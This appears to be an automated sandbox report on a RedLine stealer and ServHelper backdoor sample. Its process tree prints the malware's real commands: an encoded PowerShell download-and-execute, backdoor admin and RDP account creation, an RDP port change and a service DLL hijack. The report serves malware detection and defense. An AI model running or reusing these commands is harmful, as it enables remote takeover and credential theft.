redline | 875f42b4ae4e80050231b14e50770f8e51a7b1f9887504ab6699860c9d37d09c

Analysis

max time kernel
133s
max time network
195s
platform
windows7_x64
resource
win7v20210410
submitted
07-06-2021 11:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ustwo_20210607-133958.exe
Size

120KB
MD5

bc3443ee6ebeac5b40d789367a61cc36
SHA1

3aca0e6d34866853b9ed702d76e0222952451eb4
SHA256

875f42b4ae4e80050231b14e50770f8e51a7b1f9887504ab6699860c9d37d09c
SHA512

bb2450f210eb7ab34a51c91b28edbfb671570d47a9c8033fd74dc1437c2e99107e4052a8a6a911b6ccf5d29fa206bb173064a83ea47cddd83819079260430240

Score

10^/10

redline servhelper n6 backdoor discovery exploit infostealer persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

redline

Botnet

lyanannaron.xyz:80

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1572-63-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/1572-64-0x0000000000417D76-mapping.dmp	family_redline
behavioral1/memory/1572-65-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

25 1816 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

filename.exe

pid process

1056 filename.exe
Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

2012 icacls.exe
1520 icacls.exe
840 icacls.exe
1980 takeown.exe
368 icacls.exe
1880 icacls.exe
456 icacls.exe
740 icacls.exe
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
25	1816	powershell.exe

pid	process
1056	filename.exe

pid	process
2012	icacls.exe
1520	icacls.exe
840	icacls.exe
1980	takeown.exe
368	icacls.exe
1880	icacls.exe
456	icacls.exe
740	icacls.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Windows\Branding\mediasrv.png	upx
\Windows\Branding\mediasvc.png	upx

Deletes itself 1 IoCs

Processes:

powershell.exe

pid process

824 powershell.exe
Loads dropped DLL 4 IoCs

Processes:

ustwo_20210607-133958.exe

pid process

1572 ustwo_20210607-133958.exe
1572 ustwo_20210607-133958.exe
1612
1612
Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid process

740 icacls.exe
2012 icacls.exe
1520 icacls.exe
840 icacls.exe
1980 takeown.exe
368 icacls.exe
1880 icacls.exe
456 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

11 ipinfo.io
10 ipinfo.io
Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\system32\rfxvmt.dll powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ustwo_20210607-133958.exe

description pid process target process

PID 1644 set thread context of 1572 1644 ustwo_20210607-133958.exe ustwo_20210607-133958.exe

pid	process
824	powershell.exe

pid	process
740	icacls.exe
2012	icacls.exe
1520	icacls.exe
840	icacls.exe
1980	takeown.exe
368	icacls.exe
1880	icacls.exe
456	icacls.exe

flow	ioc
11	ipinfo.io
10	ipinfo.io

description	ioc	process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

description	pid	process	target process
PID 1644 set thread context of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe

Drops file in Windows directory 21 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7fdaa0e4-517e-447f-9673-2df613352ceb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b49d9608-b542-41fb-943c-be6d4f7b5f48	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_615714a5-6c4c-405d-8fb0-f218b65601ca	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b6702092-46e9-4ecd-aa8d-d0d3a35d0df4	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_631a5080-a2b8-4af1-9fdd-aab838965044	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_db296a06-6c13-45a1-85c0-98795db7c029	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8938fa94-5ebb-4324-8df5-0e5dd0242484	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_36711506-ac46-4d9c-8973-6d6bbbd684b5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ffb96469-4f45-41f2-97e1-b081ec70fb84	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_37b06864-f553-4446-b904-285834deb8c6	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZVSUYK8OP59W5J1GPI6X.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2549177a-723a-488d-a462-49eb9d6cf266	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80fd3cfd925bd701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1564 reg.exe
Runs net.exe

pid	process
1564	reg.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

ustwo_20210607-133958.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1572	ustwo_20210607-133958.exe
1572	ustwo_20210607-133958.exe
824	powershell.exe
824	powershell.exe
1776	powershell.exe
1776	powershell.exe
240	powershell.exe
240	powershell.exe
1876	powershell.exe
1876	powershell.exe
824	powershell.exe
824	powershell.exe
824	powershell.exe
1816	powershell.exe
1816	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

Processes:

pid process

464
1612
1612

pid	process
464
1612
1612

Suspicious use of AdjustPrivilegeToken 20 IoCs

Processes:

ustwo_20210607-133958.exeustwo_20210607-133958.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1644	ustwo_20210607-133958.exe
Token: SeDebugPrivilege	1572	ustwo_20210607-133958.exe
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	240	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeRestorePrivilege	1880	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1932	WMIC.exe
Token: SeAuditPrivilege	1932	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1932	WMIC.exe
Token: SeAuditPrivilege	1932	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1868	WMIC.exe
Token: SeAuditPrivilege	1868	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1868	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1868	WMIC.exe
Token: SeAuditPrivilege	1868	WMIC.exe
Token: SeDebugPrivilege	1816	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

ustwo_20210607-133958.exeustwo_20210607-133958.exefilename.exepowershell.execsc.exe

description	pid	process	target process
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1644 wrote to memory of 1572	1644	ustwo_20210607-133958.exe	ustwo_20210607-133958.exe
PID 1572 wrote to memory of 1056	1572	ustwo_20210607-133958.exe	filename.exe
PID 1572 wrote to memory of 1056	1572	ustwo_20210607-133958.exe	filename.exe
PID 1572 wrote to memory of 1056	1572	ustwo_20210607-133958.exe	filename.exe
PID 1572 wrote to memory of 1056	1572	ustwo_20210607-133958.exe	filename.exe
PID 1056 wrote to memory of 824	1056	filename.exe	powershell.exe
PID 1056 wrote to memory of 824	1056	filename.exe	powershell.exe
PID 1056 wrote to memory of 824	1056	filename.exe	powershell.exe
PID 824 wrote to memory of 956	824	powershell.exe	csc.exe
PID 824 wrote to memory of 956	824	powershell.exe	csc.exe
PID 824 wrote to memory of 956	824	powershell.exe	csc.exe
PID 956 wrote to memory of 1772	956	csc.exe	cvtres.exe
PID 956 wrote to memory of 1772	956	csc.exe	cvtres.exe
PID 956 wrote to memory of 1772	956	csc.exe	cvtres.exe
PID 824 wrote to memory of 1776	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1776	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1776	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 240	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 240	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 240	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1876	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1876	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1876	824	powershell.exe	powershell.exe
PID 824 wrote to memory of 1980	824	powershell.exe	takeown.exe
PID 824 wrote to memory of 1980	824	powershell.exe	takeown.exe
PID 824 wrote to memory of 1980	824	powershell.exe	takeown.exe
PID 824 wrote to memory of 368	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 368	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 368	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1880	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1880	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1880	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 456	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 456	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 456	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 740	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 740	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 740	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 2012	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 2012	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 2012	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1520	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1520	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1520	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 840	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 840	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 840	824	powershell.exe	icacls.exe
PID 824 wrote to memory of 1660	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1660	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1660	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1564	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1564	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1564	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1992	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1992	824	powershell.exe	reg.exe
PID 824 wrote to memory of 1992	824	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
"C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1644

C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
C:\Users\Admin\AppData\Local\Temp\ustwo_20210607-133958.exe
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1572

C:\Users\Admin\AppData\Local\Temp\filename.exe
"C:\Users\Admin\AppData\Local\Temp\filename.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
4⤵
- Deletes itself
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:824

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fdyfqbsd\fdyfqbsd.cmdline"
5⤵
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDDA2.tmp" "c:\Users\Admin\AppData\Local\Temp\fdyfqbsd\CSCA33E39F61F347F7A3DD3FB68A4C569F.TMP"
6⤵
PID:1772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876

C:\Windows\system32\takeown.exe
"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1980

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:368

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1880

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:456

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:740

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2012

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1520

C:\Windows\system32\icacls.exe
"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:840

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
5⤵
PID:1660

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
5⤵
- Modifies registry key
PID:1564

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
5⤵
PID:1992

C:\Windows\system32\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
5⤵
PID:1868

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
6⤵
PID:616

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
5⤵
PID:580

C:\Windows\system32\cmd.exe
cmd /c net start rdpdr
6⤵
PID:332

C:\Windows\system32\net.exe
net start rdpdr
7⤵
PID:1976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start rdpdr
8⤵
PID:1776

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
5⤵
PID:1664

C:\Windows\system32\cmd.exe
cmd /c net start TermService
6⤵
PID:1276

C:\Windows\system32\net.exe
net start TermService
7⤵
PID:572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 start TermService
8⤵
PID:1856

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
5⤵
PID:1280

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
5⤵
PID:572

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1488

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc 000000 /del
2⤵
PID:1548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
3⤵
PID:2032

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc P3RVyNG5 /add
1⤵
PID:300

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc P3RVyNG5 /add
2⤵
PID:2024

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc P3RVyNG5 /add
3⤵
PID:456

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1284

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
2⤵
PID:1520

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
3⤵
PID:268

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1564

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
2⤵
PID:848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
3⤵
PID:1652

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1976

C:\Windows\system32\net.exe
net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
2⤵
PID:1816

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
3⤵
PID:616

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc P3RVyNG5
1⤵
PID:1472

C:\Windows\system32\net.exe
net.exe user WgaUtilAcc P3RVyNG5
2⤵
PID:1488

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc P3RVyNG5
3⤵
PID:1876

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2024

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1932

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1528

C:\Windows\System32\Wbem\WMIC.exe
wmic CPU get NAME
2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1868

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1992

C:\Windows\system32\cmd.exe
cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
2⤵
PID:756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
1⤵
PID:1656

C:\Windows\system32\net.exe
net user wgautilacc 111213
2⤵
PID:1772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc 111213
3⤵
PID:1608

C:\Windows\system32\net.exe
net user wgautilacc /active:yes
2⤵
PID:368

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user wgautilacc /active:yes
3⤵
PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_028d9bdf-6b21-4de1-897f-bb5aa5193802
MD5
2d5cd190b5db0620cd62e3cd6ba1dcd3

SHA1
ff4f229f4fbacccdf11d98c04ba756bda80aac7a

SHA256
ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

SHA512
edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03400925-7e10-41f2-b15b-b6ada7fd8045
MD5
faa37917b36371249ac9fcf93317bf97

SHA1
a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

SHA256
b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

SHA512
614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_66b0563c-8439-43ce-b066-0861cd1c51e5
MD5
a70ee38af4bb2b5ed3eeb7cbd1a12fa3

SHA1
81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

SHA256
dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

SHA512
8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_93e919f7-a9fb-4c92-afa9-19a66ba0002f
MD5
6f0d509e28be1af95ba237d4f43adab4

SHA1
c665febe79e435843553bee86a6cea731ce6c5e4

SHA256
f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

SHA512
